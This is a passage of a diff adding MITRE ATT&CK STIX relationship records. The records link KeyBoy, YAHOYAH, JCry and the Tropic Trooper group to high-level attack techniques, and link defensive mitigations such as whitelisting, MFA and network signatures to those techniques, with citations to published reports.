"https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9b5e2072-35e7-4c62-baea-0e9d31df91f2", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses VBS scripts for installing files and performing execution.(Citation: CitizenLab KeyBoy Nov 2016)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-03-17T19:28:58.473Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-14T16:51:02.198Z", + "external_references": [ + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--42968b37-a9f4-4bd8-b2af-36a04bd2803d", + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files.", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "modified": "2020-01-31T18:59:01.151Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:07:30.311Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e1fdde42-ef04-4b41-a7ba-1f268be9b0fe", + "description": "Consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "modified": "2020-01-31T18:59:01.170Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:07:30.326Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d50b5687-ea69-40f9-86f3-eecd7e015bac", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "modified": "2021-08-30T19:16:11.841Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:11:30.497Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ef0d2f85-5b7f-45b5-b78f-fcf95a6a2fbf", + "description": "Restrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "modified": "2020-01-31T18:59:22.069Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:13:57.525Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b465fe54-83e6-4d1c-b752-d13bb788c3ac", + "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "modified": "2020-03-23T17:04:18.806Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:17:06.978Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--26099ea8-5af8-4173-b70d-b32bbcbe0732", + "description": "Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "modified": "2020-03-23T17:04:18.808Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:17:06.995Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a3012b2b-b19c-46fc-944c-d04d9c4b897b", + "description": "Use multi-factor authentication for user and privileged accounts.", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "modified": "2020-03-23T17:04:18.804Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:17:07.003Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a266294c-18a7-4a6e-8291-a901748c929c", + "description": "Windows:\nDo not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.(Citation: Microsoft Securing Privileged Access)\n\nLinux:\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.616Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:21:38.567Z", + "external_references": [ + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7a3426bf-1751-43db-b844-6bf388a4c817", + "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.677Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:21:38.582Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ee8ef62a-fcde-44b0-aa63-4028dad703aa", + "description": "With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.690Z", + "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:21:38.632Z", + "external_references": [ + { + "source_name": "TechNet Credential Guard", + "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard" + }, + { + "source_name": "GitHub SHB Credential Guard", + "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.", + "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cf828aff-2e43-491b-a4d7-4cec93e193cd", + "description": "Remove vulnerable Group Policy Preferences.(Citation: Microsoft MS14-025)", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "modified": "2020-02-04T12:55:04.060Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:23:38.902Z", + "external_references": [ + { + "source_name": "Microsoft MS14-025", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "url": "http://support.microsoft.com/kb/2962486" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ac5925be-217e-4c88-815d-1a7098db548f", + "description": "Proactively search for credentials within the Registry and attempt to remediate the risk.", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "modified": "2020-02-04T12:59:37.746Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:25:16.733Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4a8ad303-7a40-4396-8553-daef264dac71", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2020-03-20T19:03:04.477Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:27:00.773Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--82f1fa31-c796-474d-a58a-5ea8250a3118", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2020-03-20T19:03:04.514Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:27:00.791Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ff5fc448-b344-457f-a243-f7ce2911816e", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "modified": "2020-03-30T20:17:22.198Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:31:50.923Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36a41a30-61ce-4c55-9916-0a572dfe6d36", + "description": "Network intrusion prevention or data loss prevention tools may be set to block specific file types from leaving the network over unencrypted channels. An adversary may move to an encrypted channel or use other mechanisms of encapsulating the traffic in these situations.", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "modified": "2020-03-30T03:09:45.511Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:33:50.544Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1e2075a3-5271-4ebf-aa9b-6a09ea985b76", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "modified": "2020-03-14T23:34:13.643Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-14T17:35:11.286Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--77dbc1ae-556e-43cd-b776-c7670ab5c915", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: Anomali Pirate Panda April 2020)", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "modified": "2020-05-21T12:59:00.606Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:43:35.376Z", + "external_references": [ + { + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/", + "description": "Hulcoop, A., et al. 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Retrieved May 19, 2020.", + "source_name": "Anomali Pirate Panda April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5929ef3e-3945-4ede-b3cd-94f47850a6bd", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used pr and an openly available tool to scan for open ports on target systems.(Citation: TrendMicro TropicTrooper 2015)(Citation: TrendMicro Tropic Trooper May 2020)", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "modified": "2020-05-21T14:55:00.488Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:43:35.392Z", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + }, + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "source_name": "TrendMicro Tropic Trooper May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c4f4fe39-af57-47d3-8428-fe5bce63bdbb", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used netview to scan target systems for shared resources.(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "modified": "2019-06-30T22:44:28.340Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:43:35.447Z", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--58a7f0d9-7c20-4808-b8be-bd6240267030", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used letmein to scan for saved usernames on the target system.(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-06-30T22:44:28.342Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:43:35.472Z", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7a9deb99-21d7-45e3-bebc-fbab668690f1", + "description": "In one version of [KeyBoy](https://attack.mitre.org/software/S0387), string obfuscation routines were used to hide many of the critical values referenced in the malware.(Citation: CitizenLab KeyBoy Nov 2016)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-06-30T22:48:21.905Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:44:58.870Z", + "external_references": [ + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. 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Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--93b3993d-0345-434e-9b0a-4dfd8efa6c99", + "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) encrypts its configuration file using a simple algorithm.(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-06-30T22:50:18.712Z", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:49:30.420Z", + "external_references": [ + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--74e1dbd9-baad-488f-9b30-4430420e15d3", + "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) decrypts downloaded files before execution.(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2019-06-30T22:50:18.730Z", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:49:30.430Z", + "external_references": [ + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--01c60a20-2eff-4b4e-a15a-24e56a487b4e", + "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) checks for the system\u2019s Windows OS version and hostname.(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-06-30T22:50:18.739Z", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:49:30.438Z", + "external_references": [ + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--618d4835-6022-46df-bee1-38fcb97ffb91", + "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) checks for antimalware solution processes on the system.(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", + "modified": "2019-06-30T22:50:18.753Z", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:49:30.445Z", + "external_references": [ + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "source_name": "TrendMicro TropicTrooper 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1729ebeb-c92c-4d8e-a859-0d081b3821a1", + "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) uses HTTP GET requests to download other files that are executed in memory.(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2019-06-30T22:50:18.762Z", + "source_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:49:30.452Z", + "external_references": [ + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf", + "description": "Alintanahin, K. (2015). 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Retrieved June 17, 2019.", + "source_name": "CitizenLab Tropic Trooper Aug 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e4ccb68f-5c52-4805-88d0-14d87268e562", + "description": "(Citation: TrendMicro TropicTrooper 2015)", + "target_ref": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "modified": "2019-06-30T22:44:28.372Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-17T18:59:18.534Z", + "external_references": [ + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. 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The KeyBoys are back in town. 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(2019, May 14). JCry Ransomware. Retrieved June 18, 2019.", + "source_name": "Carbon Black JCry May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--398a5e5a-b624-4992-b26c-2abb37c9c2db", + "description": "[JCry](https://attack.mitre.org/software/S0389) has used PowerShell to execute payloads.(Citation: Carbon Black JCry May 2019)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2019-06-30T23:03:26.110Z", + "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-18T17:20:43.750Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/", + "description": "Lee, S.. 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Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. 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Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": 